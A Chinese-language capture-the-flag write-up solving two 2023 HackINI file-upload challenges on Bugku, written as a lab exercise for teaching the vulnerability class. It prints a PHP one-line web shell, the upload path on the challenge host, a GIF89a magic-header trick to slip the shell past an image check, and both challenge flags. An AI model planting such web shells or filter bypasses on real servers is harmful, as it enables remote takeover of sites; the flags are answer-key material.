Bugku - 2023 HackINI Upload0 与 2023 HackINI Upload1 详解

目录

前置知识

解题过程

Upload0

Upload1

总结


前置知识

网络安全-文件上传漏洞-CSDN博客

解题过程

Upload0

打开靶场

根据题目还有页面可可以知道是文件上传漏洞,抓包或者插件可以看到是php环境,

尝试,构造一句话木马1.php文件如下:

复制代码
<?php
eval($_POST['shell']);
?>

上传成功,点击here可看到路径

复制代码
http://49.232.142.230:13942/uploads/63b4f3f6cd42bc4d2384208bef372ef4/1.php

直接蚁剑连接即可

连接成功

在根目录下的flag.txt可查看flag

复制代码
shellmates{s1Mp1E_PHP_Fi1E_up1o4D_tO_W4rMUp}

Upload1

在Upload0的基础上增加了一定的过滤,检测了文件内容是否为图片。

我们增加GIF89a图片魔术头,即可伪装文件为图片,直接构造2.php文件如下:

复制代码
GIF89a
<?php
eval($_POST['shell']);
?>

其他步骤同Upload0相同,不再赘述

复制代码
shellmates{PoLyg10t_F1l3s_Byp4$S}

总结

Upload0没有任何过滤的基础php文件上传漏洞

Upload1增加了基础的文件内容检测

相关推荐
不灭锦鲤1 小时前
每天看一种漏洞类型,oss存储桶
安全·web安全
白狐_7981 小时前
【计网全栈通关】第 5 篇:网络层核心计算——IP 地址规划、子网划分与 CIDR
网络协议·tcp/ip·php
xinxinhenmeihao4 小时前
有哪些原因会让爬虫代理IP失效?
爬虫·tcp/ip·php
m0_748240446 小时前
Laravel5.6核心更新全解析
开发语言·php
运维行者_7 小时前
OpManager 对接 ERP 避坑指南,网络自动化提升数据同步效率
运维·服务器·开发语言·网络·microsoft·网络安全·php
乾元8 小时前
数据为王——安全数据集的清洗与特征工程
大数据·网络·人工智能·安全·web安全·机器学习·架构
CHU7290358 小时前
安心陪伴,便捷就医:陪诊代办小程序的温暖设计
前端·小程序·php
CHU7290358 小时前
线上扭蛋机拆盒小程序前端功能版块解析
前端·小程序·php
Kapibalapikapi8 小时前
思考笔记 | 为什么需要“获取CDN后面的真实IP”
笔记·web安全·思考记录
无名的小三轮9 小时前
华为eNSP中USG6000防火墙web界面登录设置
网络·笔记·安全·web安全·华为